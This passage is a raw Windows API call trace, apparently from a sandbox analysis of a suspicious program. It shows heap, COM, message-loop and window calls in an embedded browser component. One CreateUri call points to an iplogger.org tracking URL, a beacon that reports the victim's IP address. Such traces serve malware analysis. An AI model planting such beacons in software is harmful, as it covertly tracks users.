ppURI=0x30e1c4 | out: ppURI=0x30e1c4*=0x53de34) returned 0x0 [0048.748] IUnknown:QueryInterface (in: This=0x53de34, riid=0x72ddd6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x30e19c | out: ppvObject=0x30e19c*=0x53de34) returned 0x0 [0048.749] IUnknown:Release (This=0x53de34) returned 0xd [0048.749] IUnknown:AddRef (This=0x53de34) returned 0xe [0048.749] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x42) returned 0x55dff8 [0048.749] IUnknown:Release (This=0x53de34) returned 0xd [0048.749] IUnknown:Release (This=0x53de34) returned 0xc [0048.749] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x100) returned 0x58bcb8 [0048.749] FindResourceW (hModule=0x721a0000, lpName=0x1fe, lpType=0x6) returned 0x2cf84d0 [0048.749] LoadResource (hModule=0x721a0000, hResInfo=0x2cf84d0) returned 0x2d1e53c [0048.749] LockResource (hResData=0x2d1e53c) returned 0x2d1e53c [0048.749] VirtualQuery (in: lpAddress=0x2d1e53c, lpBuffer=0x30f36c, dwLength=0x1c | out: lpBuffer=0x30f36c*(BaseAddress=0x2d1e000, AllocationBase=0x2a40000, AllocationProtect=0x2, RegionSize=0x115000, State=0x1000, Protect=0x2, Type=0x40000)) returned 0x1c [0048.749] SizeofResource (hModule=0x721a0000, hResInfo=0x2cf84d0) returned 0xe6 [0048.749] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55dff8 | out: hHeap=0x510000) returned 1 [0048.749] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x58bcb8, Size=0x70) returned 0x58bcb8 [0048.749] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x74) returned 0x5973a8 [0048.749] GetMessageW (in: lpMsg=0x30fa4c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30fa4c) returned 1 [0049.465] TranslateMessage (lpMsg=0x30fa4c) returned 0 [0049.465] DispatchMessageW (lpMsg=0x30fa4c) returned 0x0 [0049.465] CreateUri (in: pwzURI="https://iplogger.org/1v6v97.jpeg", dwFlags=0x2b85, dwReserved=0x0, ppURI=0x30e1c4 | out: ppURI=0x30e1c4*=0x58373c) returned 0x0 [0049.465] IUnknown:QueryInterface (in: This=0x58373c, riid=0x72ddd6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x30e19c | out: ppvObject=0x30e19c*=0x58373c) returned 0x0 [0049.465] IUnknown:Release (This=0x58373c) returned 0x8 [0049.465] IUnknown:AddRef (This=0x58373c) returned 0x9 [0049.465] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x42) returned 0x55e5e8 [0049.465] IUnknown:Release (This=0x58373c) returned 0x8 [0049.465] IUnknown:Release (This=0x58373c) returned 0x7 [0049.465] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x100) returned 0x3c3c978 [0049.465] FindResourceW (hModule=0x721a0000, lpName=0x1fe, lpType=0x6) returned 0x2cf84d0 [0049.465] LoadResource (hModule=0x721a0000, hResInfo=0x2cf84d0) returned 0x2d1e53c [0049.465] LockResource (hResData=0x2d1e53c) returned 0x2d1e53c [0049.466] VirtualQuery (in: lpAddress=0x2d1e53c, lpBuffer=0x30f36c, dwLength=0x1c | out: lpBuffer=0x30f36c*(BaseAddress=0x2d1e000, AllocationBase=0x2a40000, AllocationProtect=0x2, RegionSize=0x115000, State=0x1000, Protect=0x2, Type=0x40000)) returned 0x1c [0049.466] SizeofResource (hModule=0x721a0000, hResInfo=0x2cf84d0) returned 0xe6 [0049.466] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55e5e8 | out: hHeap=0x510000) returned 1 [0049.466] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x3c3c978, Size=0x70) returned 0x3c3c978 [0049.466] GetMessageW (in: lpMsg=0x30fa4c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30fa4c) returned 1 [0049.467] TranslateMessage (lpMsg=0x30fa4c) returned 0 [0049.467] DispatchMessageW (lpMsg=0x30fa4c) returned 0x0 [0049.467] GetMessageW (in: lpMsg=0x30fa4c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30fa4c) returned 1 [0049.653] TranslateMessage (lpMsg=0x30fa4c) returned 0 [0049.653] DispatchMessageW (lpMsg=0x30fa4c) returned 0x0 [0049.653] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x90) returned 0x3c28e30 [0049.653] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0049.654] IntersectRect (in: lprcDst=0x30f700, lprcSrc1=0x30f700, lprcSrc2=0x30f788 | out: lprcDst=0x30f700) returned 1 [0049.654] IntersectRect (in: lprcDst=0x30f798, lprcSrc1=0x30f798, lprcSrc2=0x30f700 | out: lprcDst=0x30f798) returned 1 [0049.654] IntersectRect (in: lprcDst=0x30f7f0, lprcSrc1=0x30f7f0, lprcSrc2=0x30f788 | out: lprcDst=0x30f7f0) returned 1 [0049.654] IntersectRect (in: lprcDst=0x30f700, lprcSrc1=0x30f700, lprcSrc2=0x30f788 | out: lprcDst=0x30f700) returned 1 [0049.654] IntersectRect (in: lprcDst=0x30f798, lprcSrc1=0x30f798, lprcSrc2=0x30f700 | out: lprcDst=0x30f798) returned 1 [0049.654] IntersectRect (in: lprcDst=0x30f7f0, lprcSrc1=0x30f7f0, lprcSrc2=0x30f788 | out: lprcDst=0x30f7f0) returned 1 [0049.654] IntersectRect (in: lprcDst=0x30f700, lprcSrc1=0x30f700, lprcSrc2=0x30f788 | out: lprcDst=0x30f700) returned 1 [0049.654] IntersectRect (in: lprcDst=0x30f798, lprcSrc1=0x30f798, lprcSrc2=0x30f700 | out: lprcDst=0x30f798) returned 1 [0049.654] IntersectRect (in: lprcDst=0x30f7f0, lprcSrc1=0x30f7f0, lprcSrc2=0x30f788 | out: lprcDst=0x30f7f0) returned 1 [0049.654] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3c974a8 | out: hHeap=0x510000) returned 1 [0049.654] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3c3c978 | out: hHeap=0x510000) returned 1 [0049.656] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x24) returned 0x555aa0 [0049.656] LsSetDoc () returned 0x0 [0049.657] LsCreateLine () returned 0x0 [0049.657] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0049.657] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x18) returned 0x569fe0 [0049.657] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x599908 [0049.658] IntersectRect (in: lprcDst=0x30dca0, lprcSrc1=0x30dca0, lprcSrc2=0x30dd28 | out: lprcDst=0x30dca0) returned 1 [0049.658] IntersectRect (in: lprcDst=0x30dd38, lprcSrc1=0x30dd38, lprcSrc2=0x30dca0 | out: lprcDst=0x30dd38) returned 1 [0049.658] IntersectRect (in: lprcDst=0x30dd90, lprcSrc1=0x30dd90, lprcSrc2=0x30dd28 | out: lprcDst=0x30dd90) returned 1 [0049.658] IntersectRect (in: lprcDst=0x30dca0, lprcSrc1=0x30dca0, lprcSrc2=0x30dd28 | out: lprcDst=0x30dca0) returned 1 [0049.658] IntersectRect (in: lprcDst=0x30dd38, lprcSrc1=0x30dd38, lprcSrc2=0x30dca0 | out: lprcDst=0x30dd38) returned 1 [0049.658] IntersectRect (in: lprcDst=0x30dd90, lprcSrc1=0x30dd90, lprcSrc2=0x30dd28 | out: lprcDst=0x30dd90) returned 1 [0049.658] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0049.658] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0049.658] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0049.658] LsdnFinishRegular () returned 0x0 [0049.658] LsQueryLineDup () returned 0x0 [0049.659] LsDestroyLine () returned 0x0 [0049.659] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x569fe0 | out: hHeap=0x510000) returned 1 [0049.659] IInternetProtocol:UnlockRequest (This=0x55f700) returned 0x0 [0049.659] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0049.659] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x561498 [0049.659] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x561600 | out: hHeap=0x510000) returned 1 [0049.659] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x555aa0 | out: hHeap=0x510000) returned 1 [0049.660] IntersectRect (in: lprcDst=0x30e6a0, lprcSrc1=0x30e6a0, lprcSrc2=0x30e638 | out: lprcDst=0x30e6a0) returned 1 [0049.660] IntersectRect (in: lprcDst=0x30e5b0, lprcSrc1=0x30e5b0, lprcSrc2=0x30e638 | out: lprcDst=0x30e5b0) returned 1 [0049.660] IntersectRect (in: lprcDst=0x30e648, lprcSrc1=0x30e648, lprcSrc2=0x30e5b0 | out: lprcDst=0x30e648) returned 1 [0049.660] IntersectRect (in: lprcDst=0x30e6a0, lprcSrc1=0x30e6a0, lprcSrc2=0x30e638 | out: lprcDst=0x30e6a0) returned 1 [0049.660] IntersectRect (in: lprcDst=0x30e5b0, lprcSrc1=0x30e5b0, lprcSrc2=0x30e638 | out: lprcDst=0x30e5b0) returned 1 [0049.660] IntersectRect (in: lprcDst=0x30e648, lprcSrc1=0x30e648, lprcSrc2=0x30e5b0 | out: lprcDst=0x30e648) returned 1 [0049.660] IntersectRect (in: lprcDst=0x30e6a0, lprcSrc1=0x30e6a0, lprcSrc2=0x30e638 | out: lprcDst=0x30e6a0) returned 1 [0049.660] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0049.660] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0049.660] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0049.660] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0049.660] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0049.660] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0049.660] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0049.660] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0049.660] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0049.660] IntersectRect (in: lprcDst=0x30eeb0, lprcSrc1=0x30eeb0, lprcSrc2=0x30ef38 | out: lprcDst=0x30eeb0) returned 1 [0049.660] IntersectRect (in: lprcDst=0x30ef48, lprcSrc1=0x30ef48, lprcSrc2=0x30eeb0 | out: lprcDst=0x30ef48) returned 1 [0049.660] IntersectRect (in: lprcDst=0x30efa0, lprcSrc1=0x30efa0, lprcSrc2=0x30ef38 | out: lprcDst=0x30efa0) returned 1 [0049.660] IntersectRect (in: lprcDst=0x30eeb0, lprcSrc1=0x30eeb0, lprcSrc2=0x30ef38 | out: lprcDst=0x30eeb0) returned 1 [0049.660] IntersectRect (in: lprcDst=0x30ef48, lprcSrc1=0x30ef48, lprcSrc2=0x30eeb0 | out: lprcDst=0x30ef48) returned 1 [0049.660] IntersectRect (in: lprcDst=0x30efa0, lprcSrc1=0x30efa0, lprcSrc2=0x30ef38 | out: lprcDst=0x30efa0) returned 1 [0049.660] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0049.660] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0049.660] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x599908 | out: hHeap=0x510000) returned 1 [0049.660] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0049.660] IntersectRect (in: lprcDst=0x30f5ac, lprcSrc1=0x30f5ac, lprcSrc2=0x30f57c | out: lprcDst=0x30f5ac) returned 1 [0049.660] IntersectRect (in: lprcDst=0x556a68, lprcSrc1=0x556a68, lprcSrc2=0x30f59c | out: lprcDst=0x556a68) returned 1 [0049.661] IntersectRect (in: lprcDst=0x556a68, lprcSrc1=0x556a68, lprcSrc2=0x30f5bc | out: lprcDst=0x556a68) returned 1 [0049.661] IntersectRect (in: lprcDst=0x30f26c, lprcSrc1=0x30f26c, lprcSrc2=0x30f23c | out: lprcDst=0x30f26c) returned 1 [0049.661] IntersectRect (in: lprcDst=0x556a68, lprcSrc1=0x556a68, lprcSrc2=0x30f25c | out: lprcDst=0x556a68) returned 1 [0049.661] IntersectRect (in: lprcDst=0x556a68, lprcSrc1=0x556a68, lprcSrc2=0x30f27c | out: lprcDst=0x556a68) returned 1 [0049.661] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0049.661] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0049.661] IntersectRect (in: lprcDst=0x30f010, lprcSrc1=0x30f010, lprcSrc2=0x556a58 | out: lprcDst=0x30f010) returned 1 [0049.661] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0049.661] UnionRect (in: lprcDst=0x30f488, lprcSrc1=0x30f488, lprcSrc2=0x30f434 | out: lprcDst=0x30f488) returned 1 [0049.661] UnionRect (in: lprcDst=0x30f488, lprcSrc1=0x30f488, lprcSrc2=0x30f434 | out: lprcDst=0x30f488) returned 1 [0049.661] IntersectRect (in: lprcDst=0x30f420, lprcSrc1=0x30f420, lprcSrc2=0x30f3b8 | out: lprcDst=0x30f420) returned 1 [0049.661] IntersectRect (in: lprcDst=0x30f330, lprcSrc1=0x30f330, lprcSrc2=0x30f3b8 | out: lprcDst=0x30f330) returned 1 [0049.661] IntersectRect (in: lprcDst=0x30f3c8, lprcSrc1=0x30f3c8, lprcSrc2=0x30f330 | out: lprcDst=0x30f3c8) returned 1 [0049.661] IntersectRect (in: lprcDst=0x30f420, lprcSrc1=0x30f420, lprcSrc2=0x30f3b8 | out: lprcDst=0x30f420) returned 1 [0049.661] IntersectRect (in: lprcDst=0x30f420, lprcSrc1=0x30f420, lprcSrc2=0x30f3b8 | out: lprcDst=0x30f420) returned 1 [0049.661] IntersectRect (in: lprcDst=0x30f330, lprcSrc1=0x30f330, lprcSrc2=0x30f3b8 | out: lprcDst=0x30f330) returned 1 [0049.661] IntersectRect (in: lprcDst=0x30f3c8, lprcSrc1=0x30f3c8, lprcSrc2=0x30f330 | out: lprcDst=0x30f3c8) returned 1 [0049.661] IntersectRect (in: lprcDst=0x30f420, lprcSrc1=0x30f420, lprcSrc2=0x30f3b8 | out: lprcDst=0x30f420) returned 1 [0049.661] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0049.661] UnionRect (in: lprcDst=0x30f7c8, lprcSrc1=0x30f7c8, lprcSrc2=0x30f774 | out: lprcDst=0x30f7c8) returned 1 [0049.661] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x28) returned 0x555aa0 [0049.661] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x555aa0 | out: hHeap=0x510000) returned 1 [0049.661] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x561600 [0049.661] ExtCreateRegion (lpx=0x0, nCount=0x40, lpData=0x561600) returned 0xc04079e [0049.661] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x561600 | out: hHeap=0x510000) returned 1 [0049.661] RedrawWindow (hWnd=0x90132, lprcUpdate=0x0, hrgnUpdate=0xc04079e, flags=0x21) returned 1 [0049.661] DeleteObject (ho=0xc04079e) returned 1 [0049.662] GetMessageW (in: lpMsg=0x30fa4c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30fa4c) returned 1 [0055.617] TranslateMessage (lpMsg=0x30fa4c) returned 0 [0055.617] DispatchMessageW (lpMsg=0x30fa4c) returned 0x0 [0055.618] KillTimer (hWnd=0x9001c, uIDEvent=0x2000) returned 1 [0055.618] ISystemDebugEventFire:IsActive (This=0x524298) returned 0x1 [0055.618] CoGetObjectContext (in: riid=0x73bf0270*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x30f600 | out: ppv=0x30f600*=0x537288) returned 0x0 [0055.619] IUnknown:Release (This=0x537288) returned 0x1 [0055.619] GetCurrentThreadId () returned 0x86c [0055.620] GetCurrentThreadId () returned 0x86c [0055.620] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0 [0055.620] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0 [0055.621] ??2@YAPAXI@Z () returned 0x3ff30 [0055.621] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0 [0055.621] PostMessageW (hWnd=0x7001a, Msg=0x10, wParam=0x0, lParam=0x0) returned 1 [0055.622] GetCurrentThreadId () returned 0x86c [0055.622] GetCurrentThreadId () returned 0x86c [0055.622] ISystemDebugEventFire:IsActive (This=0x524298) returned 0x1 [0055.622] ??3@YAXPAX@Z () returned 0x1 [0055.622] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x599908 [0055.622] SetTimer (hWnd=0x9001c, nIDEvent=0x2001, uElapse=0x2710, lpTimerFunc=0x0) returned 0x2001 [0055.622] GetMessageW (in: lpMsg=0x30fa4c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30fa4c) returned 1 [0055.622] TranslateMessage (lpMsg=0x30fa4c) returned 0 [0055.622] DispatchMessageW (lpMsg=0x30fa4c) returned 0x0 [0055.623] ScreenToClient (in: hWnd=0x90132, lpPoint=0x30f348 | out: lpPoint=0x30f348) returned 1 [0055.623] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x30) returned 0x3c916d0 [0055.623] ScreenToClient (in: hWnd=0x90132, lpPoint=0x30f1d8 | out: lpPoint=0x30f1d8) returned 1 [0055.624] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x30) returned 0x3c916d0 [0055.624] GetCurrentThreadId () returned 0x86c [0055.624] DestroyWindow (hWnd=0x7001a) returned 1 [0055.626] NtdllDefWindowProc_W () returned 0x0 [0055.641] NtdllDefWindowProc_W () returned 0x1 [0055.704] NtdllDefWindowProc_W () returned 0x0 [0055.704] NtdllDefWindowProc_W () returned 0x0 [0055.704] NtdllDefWindowProc_W () returned 0x0 [0055.704] GetWindowLongW (hWnd=0x90132, nIndex=-21) returned 5500328 [0055.704] GetParent (hWnd=0x90132) returned 0x7001a [0055.704] GetParent (hWnd=0x7001a) returned 0x60268 [0055.704] GetParent (hWnd=0x60268) returned 0x0 [0055.704] PostMessageW (hWnd=0x90132, Msg=0x491, wParam=0x0, lParam=0x0) returned 1 [0055.704] GetMessageTime () returned 180789 [0055.704] GetMessagePos () returned 0x103043b [0055.704] ScreenToClient (in: hWnd=0x90132, lpPoint=0x30f3a8 | out: lpPoint=0x30f3a8) returned 1 [0055.705] ScreenToClient (in: hWnd=0x90132, lpPoint=0x30f3a8 | out: lpPoint=0x30f3a8) returned 1 [0055.705] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x30) returned 0x3c916d0 [0055.705] GetCurrentThreadId () returned 0x86c [0055.705] PostMessageW (hWnd=0x9001c, Msg=0x8002, wParam=0x0, lParam=0x0) returned 1 [0055.706] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x555aa0 | out: hHeap=0x510000) returned 1 [0055.706] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x559668, hWnd=0x90132, msg=0x8, wParam=0x0, lParam=0x0, plResult=0x30f5e4 | out: plResult=0x30f5e4) returned 0x1 [0055.706] NtdllDefWindowProc_W () returned 0x0 [0055.706] GetCurrentThreadId () returned 0x86c [0055.706] GetWindowLongW (hWnd=0x90132, nIndex=-21) returned 5500328 [0055.706] GetMessageTime () returned 180789 [0055.706] GetMessagePos () returned 0x103043b [0055.707] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x559668, hWnd=0x90132, msg=0x281, wParam=0x0, lParam=0xc000000f, plResult=0x30f1ec | out: plResult=0x30f1ec) returned 0x0 [0055.707] GetWindowLongW (hWnd=0x90132, nIndex=-21) returned 5500328 [0055.707] GetMessageTime () returned 180789 [0055.707] GetMessagePos () returned 0x103043b [0055.707] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xf8) returned 0x56c218 [0055.707] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x559668, hWnd=0x90132, msg=0x282, wParam=0x1, lParam=0x0, plResult=0x30ec1c | out: plResult=0x30ec1c) returned 0x0 [0055.707] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x56c218 | out: hHeap=0x510000) returned 1 [0055.707] SetTimer (hWnd=0x90132, nIDEvent=0x1000, uElapse=0x64, lpTimerFunc=0x0) returned 0x1000 [0055.707] GetCurrentThreadId () returned 0x86c [0055.707] GetCurrentThreadId () returned 0x86c [0055.708] PostQuitMessage (nExitCode=0) [0055.708] GetWindowLongW (hWnd=0x90132, nIndex=-21) returned 5500328 [0055.708] RevokeDragDrop (hwnd=0x90132) returned 0x0 [0055.708] GetCurrentThreadId () returned 0x86c [0055.708] GetWindowLongW (hWnd=0x90132, nIndex=-21) returned 5500328 [0055.708] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x559668, hWnd=0x90132, msg=0x82, wParam=0x0, lParam=0x0, plResult=0x30f760 | out: plResult=0x30f760) returned 0x1 [0055.708] NtdllDefWindowProc_W () returned 0x0 [0055.708] GetCurrentThreadId () returned 0x86c [0055.708] SetWindowLongW (hWnd=0x90132, nIndex=-21, dwNewLong=0) returned 5500328 [0055.709] NtdllDefWindowProc_W () returned 0x0 [0055.709] GetMessageW (in: lpMsg=0x30fa4c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30fa4c) returned 1 [0055.709] TranslateMessage (lpMsg=0x30fa4c) returned 0 [0055.709] DispatchMessageW (lpMsg=0x30fa4c) returned 0x0 [0055.709] GetCurrentThreadId () returned 0x86c [0055.710] GetMessageW (in: lpMsg=0x30fa4c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30fa4c) returned 0 [0055.710] PostMessageW (hWnd=0x9001c, Msg=0x8002, wParam=0x0, lParam=0x0) returned 1 [0055.710] GetCurrentThreadId () returned 0x86c [0055.710] KillTimer (hWnd=0x9001c, uIDEvent=0x2001) returned 1 [0055.710] CActiveIMMAppEx_Trident:IActiveIMMApp:Deactivate (This=0x559668) returned 0x0 [0055.711] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x521b28 | out: hHeap=0x510000) returned 1 [0055.711] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x53b5f0 | out: hHeap=0x510000) returned 1 [0055.711] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52d9b8 | out: hHeap=0x510000) returned 1 [0055.711] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x58b1f8 | out: hHeap=0x510000) returned 1 [0055.711] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.711] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.711] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.711] IntersectRect (in: lprcDst=0x30f860, lprcSrc1=0x30f860, lprcSrc2=0x30f8e8 | out: lprcDst=0x30f860) returned 1 [0055.711] IntersectRect (in: lprcDst=0x30f8f8, lprcSrc1=0x30f8f8, lprcSrc2=0x30f860 | out: lprcDst=0x30f8f8) returned 1 [0055.711] IntersectRect (in: lprcDst=0x30f950, lprcSrc1=0x30f950, lprcSrc2=0x30f8e8 | out: lprcDst=0x30f950) returned 1 [0055.711] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.711] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.711] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.711] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.711] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.711] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x550b90 | out: hHeap=0x510000) returned 1 [0055.711] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.711] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5568b0 | out: hHeap=0x510000) returned 1 [0055.711] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.711] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x556a08 | out: hHeap=0x510000) returned 1 [0055.711] GetCurrentThreadId () returned 0x86c [0055.711] GetCurrentThreadId () returned 0x86c [0055.711] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52d290 | out: hHeap=0x510000) returned 1 [0055.712] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.712] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.712] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.712] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.712] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x569e80 | out: hHeap=0x510000) returned 1 [0055.712] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x552478 | out: hHeap=0x510000) returned 1 [0055.712] GetCurrentThreadId () returned 0x86c [0055.712] GetCurrentThreadId () returned 0x86c [0055.712] GetCurrentThreadId () returned 0x86c [0055.712] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.712] GetCurrentThreadId () returned 0x86c [0055.712] CoGetObjectContext (in: riid=0x73bf0270*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x30f960 | out: ppv=0x30f960*=0x537288) returned 0x0 [0055.713] ??3@YAXPAX@Z () returned 0x1 [0055.713] ??3@YAXPAX@Z () returned 0x1 [0055.713] ??3@YAXPAX@Z () returned 0x1 [0055.713] free (_Block=0x2941df0) [0055.713] free (_Block=0x2941e38) [0055.713] ??3@YAXPAX@Z () returned 0x1 [0055.713] ??3@YAXPAX@Z () returned 0x1 [0055.713] ??3@YAXPAX@Z () returned 0x1 [0055.713] StdGlobalInterfaceTable:IGlobalInterfaceTable:RevokeInterfaceFromGlobal (This=0x76406460, dwCookie=0x100) returned 0x0 [0055.714] StdGlobalInterfaceTable:IUnknown:Release (This=0x3ffa0) returned 0x1 [0055.714] IUnknown:Release (This=0x537288) returned 0x1 [0055.714] ??3@YAXPAX@Z () returned 0x1 [0055.714] IUnknown:Release (This=0x537288) returned 0x0 [0055.714] ISystemDebugEventFire:EndSession (This=0x524298) returned 0x0 [0055.714] IUnknown:Release (This=0x524298) returned 0x1 [0055.714] GetUserDefaultLCID () returned 0x409 [0055.714] GetACP () returned 0x4e4 [0055.714] ??3@YAXPAX@Z () returned 0x1 [0055.714] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x569c00 | out: hHeap=0x510000) returned 1 [0055.714] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x555560 | out: 